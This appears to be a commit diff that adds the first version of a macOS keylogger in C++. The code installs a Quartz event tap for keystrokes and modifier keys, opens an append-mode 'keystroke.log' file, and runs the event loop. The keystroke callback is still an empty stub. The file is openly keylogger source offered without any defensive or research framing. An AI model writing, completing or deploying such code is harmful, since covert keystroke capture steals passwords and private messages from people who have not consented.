Implement basic main function.

keylogger.cpp

@@ -0,0 +1,36 @@
+#include <iostream>
+#include <fstream>
+#include <stdio.h>
+#include <ApplicationServices/ApplicationServices.h>
+#include <Carbon/Carbon.h>
+// https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html
+
+using namespace std;
+
+string logfileLocation = "./keystroke.log";
+CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
+
+int main(int argc, const char *argv[]) {
+
+    CGEventFlags flags = CGEventSourceFlagsState(kCGEventSourceStateCombinedSessionState);
+    CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
+    CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, &flags);
+
+    if(!eventTap) {
+        cout << "You need to enable \"Enable access for assistive devices\" in the System Preferences Accessibility panel." << endl;
+        exit(1);
+    }
+
+    CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
+    CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
+    CGEventTapEnable(eventTap, true);
+
+    ofstream logfile;
+    logfile.open(logfileLocation, ios::app);
+    logfile << "Keylogging started.";
+    CFRunLoopRun();
+
+    return 0;
+}
+
+CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {}